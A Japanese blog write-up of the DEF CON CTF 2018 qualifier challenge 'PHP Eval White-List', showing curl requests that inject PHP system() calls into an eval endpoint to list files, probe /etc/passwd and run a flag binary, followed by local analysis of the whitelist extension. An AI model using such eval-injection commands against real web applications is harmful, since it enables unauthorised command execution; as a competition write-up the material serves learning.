こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

DEF CON CTF Qualifier 2018 - PHP Eval White-List

問題文

PHP was dangerous, so we've fixed it!
http://c67f8ffd.quals2018.oooverflow.io
Files: websec_eval_wl.so

f:id:graneed:20180513165531p:plain

writeup

画面入力したパラメータをevalで実行するPHPが公開されている。

そのまま実行するとこうなる。 f:id:graneed:20180513165751p:plain

ダウンロード可能なファイルは、以下2つ。

  • websec_eval_wl.so
  • source.txt

source.txtは以下の通り。

<!DOCTYPE html>
<html>
<head>
  <title>php as a service</title>
  <link rel='stylesheet' href='bootstrap.min.css' />
</head>
  <body>
    <div id='main'>
      <div class='container'>
        <div class='row'>
          <h1>PHP<small> - Custom <code>eval</code> whitelisting!</small></h1>
        </div>
        <div class='row'>
                    <p class='lead'>
                        PHP is dangerous, so we wrote a <a href="./websec_eval_wl.so">custom php extension</a> to 
                        improve its security. We're also taking advantage of the <a href="https://secure.php.net/manual/en/ini.core.php#ini.open-basedir">open_basedir</a>
                        directive to prevent you from accessing the <code>flag</code> binary up the current folder.
                        You can check the source of the page <a href='./source.php'>here</a>.
          </p>
        </div>
      </div>
      <div class='container '>
        <div class='row '>
          <form action='' method='post' class="form-inline">
                      <div class="form-group">
                        <div class="input-group">
                <div class="input-group-addon">Code to eval</div>
                <input type='text' name='d' id='d' class="form-control" value='printf(1+1);'> <br>
              </div>
            </div>
            <div class="form-group">
              <input type='submit' value='Run!' class="btn btn-default" name='submit'>
            </div>
          </form>
        </div>
      </div>

      <br/>

      <div class='container'>
                <p class="well">
                    <?php
                        if (isset($_POST['d'])) {
                            eval($_POST['d']);
                        } else {
                            echo 'Can you execute the <code>./flag</code> binary?';
                        }?>
                </p>
      </div>
    </div>
  </body>
</html>

websec_eval_wl.soは、evalが実行可能な関数をチェックをしていると思われる。

画面入力では効率が悪いので、curlコマンドで実行。

ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=printf(1+1);'
<!DOCTYPE html>
<html>
<head>
  <title>php as a service</title>
  <link rel='stylesheet' href='bootstrap.min.css' />
</head>
  <body>
    <div id='main'>
      <div class='container'>
        <div class='row'>
          <h1>PHP<small> - Custom <code>eval</code> whitelisting!</small></h1>
        </div>
        <div class='row'>
                    <p class='lead'>
                        PHP is dangerous, so we wrote a <a href="./websec_eval_wl.so">custom php extension</a> to 
                        improve its security. We're also taking advantage of the <a href="https://secure.php.net/manual/en/ini.core.php#ini.open-basedir">open_basedir</a>
                        directive to prevent you from accessing the <code>flag</code> binary up the current folder.
                        You can check the source of the page <a href='./source.txt'>here</a>.
          </p>
        </div>
      </div>
      <div class='container '>
        <div class='row '>
          <form action='' method='post' class="form-inline">
                      <div class="form-group">
                        <div class="input-group">
                <div class="input-group-addon">Code to eval</div>
                <input type='text' name='d' id='d' class="form-control" value='printf(1+1);'> <br>
              </div>
            </div>
            <div class="form-group">
              <input type='submit' value='Run!' class="btn btn-default" name='submit'>
            </div>
          </form>
        </div>
      </div>

      <br/>

      <div class='container'>
                <p class="well">
                    2               </p>
      </div>
    </div>
  </body>
</html>

試しに、system関数を使う。

ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la");'
<!DOCTYPE html>
<html>
<head>
  <title>php as a service</title>
  <link rel='stylesheet' href='bootstrap.min.css' />
</head>
  <body>
    <div id='main'>
      <div class='container'>
        <div class='row'>
          <h1>PHP<small> - Custom <code>eval</code> whitelisting!</small></h1>
        </div>
        <div class='row'>
                    <p class='lead'>
                        PHP is dangerous, so we wrote a <a href="./websec_eval_wl.so">custom php extension</a> to 
                        improve its security. We're also taking advantage of the <a href="https://secure.php.net/manual/en/ini.core.php#ini.open-basedir">open_basedir</a>
                        directive to prevent you from accessing the <code>flag</code> binary up the current folder.
                        You can check the source of the page <a href='./source.txt'>here</a>.
          </p>
        </div>
      </div>
      <div class='container '>
        <div class='row '>
          <form action='' method='post' class="form-inline">
                      <div class="form-group">
                        <div class="input-group">
                <div class="input-group-addon">Code to eval</div>
                <input type='text' name='d' id='d' class="form-control" value='printf(1+1);'> <br>
              </div>
            </div>
            <div class="form-group">
              <input type='submit' value='Run!' class="btn btn-default" name='submit'>
            </div>
          </form>
        </div>
      </div>

      <br/>

      <div class='container'>
                <p class="well">
                    total 168
drwxr-xr-x 3 root root   4096 May 12 18:10 .
drwxr-xr-x 3 root root   4096 May 11 16:29 ..
-rw-r--r-- 1 root root 108376 May  5 04:58 bootstrap.min.css
-rw-r--r-- 1 root root   1672 May 12 18:09 index.php
-rw-r--r-- 1 root root    155 May  5 04:58 source.php
-rw-r--r-- 1 root root   1672 May 12 18:09 source.txt
d-wx-wx-wx 2 root root   4096 May 13 00:45 tmp
-rw-r--r-- 1 root root  33784 May  5 04:58 websec_eval_wl.so
                </p>
      </div>
    </div>
  </body>
</html>

あれ、通るぞ・・・。

ただ、親ディレクトリはlsで見れない。

ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la ../");'
(snip)
      <div class='container'>
                <p class="well">
                                    </p>
      </div>
    </div>
  </body>
</html>

他のディレクトリもlsでは見れない。

ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la /etc");'
(snip)
      <div class='container'>
                <p class="well">
                                    </p>
      </div>
    </div>
  </body>
</html>

しかし、ファイル名を直接指定すれば見れる。中身も見れる。
単にディレクトリのパーミッションに"r"がついていないだけか?

ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la /etc/passwd");'
(snip)
      <div class='container'>
                <p class="well">
                    -rw-r--r-- 1 root root 1964 May  6 18:38 /etc/passwd
                </p>
      </div>
    </div>
  </body>
</html>

lsが使えないが、問題文をヒントに探索していると、親ディレクトリにflag発見。

ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la ../flag");'
(snip)
      <div class='container'>
                <p class="well">
                    ---x--x--x 1 root root 8600 May 11 16:29 ../flag
                </p>
      </div>
    </div>
  </body>
</html>

実行したらフラグゲット。あれ、こんな単純でいいのだろうか・・・。

ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("../flag");'
(snip)
      <div class='container'>
                <p class="well">
                    OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}
                </p>
      </div>
    </div>
  </body>
</html>

ちなみに画面実行するとこうなる。 f:id:graneed:20180513170412p:plain

補足

websec_eval_wl.soとはいったい何だったのか。気になったので少し調べる。

stringsをかける。

ctfuser@kali:PHP Eval White-List$ strings websec_eval_wl.so
(snip)
API20151012,NTS
printf
strlen
The function '%s' isn't in the eval whitelist, dropping its call.
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609
.fmt
(snip)

やはり何かの関数を弾いている。

実行してみることにする。
あらかじめwebsec_eval_wl.soを拡張モジュールの格納ディレクトリにコピーしておく。

ctfuser@kali:PHP Eval White-List$ ll /usr/lib/php/20151012/websec_eval_wl.so
-rwxrwxrwx 1 root root 33784  5月 13 08:43 /usr/lib/php/20151012/websec_eval_wl.so

拡張モジュールのインターフェースを確認。

ctfuser@kali:~$ php7.0 -dextension=websec_eval_wl.so --re websec_eval_wl
Extension [ <persistent> extension #45 websec_eval_wl version 1.0 ] {
}

拡張モジュールをロードしてインタラクティブモードで起動してevalを実行。evalにsystem関数は通らない。

ctfuser@kali:PHP Eval White-List$ php7.0 -dextension=websec_eval_wl.so -a
Interactive mode enabled

php > eval('system("echo hoge");');
The function 'system' isn't in the eval whitelist, dropping its call.

拡張モジュールをロードせずにインタラクティブモードで起動してevalを実行すれば通る。
やはりwebsec_eval_wl.soが弾いている。

ctfuser@kali:PHP Eval White-List$ php7.0 -a
Interactive mode enabled

php > eval('system("echo hoge");');
hoge

出題サイトでsystem関数が普通に使えたのは何だったのだろうか。設定ミスだろうか。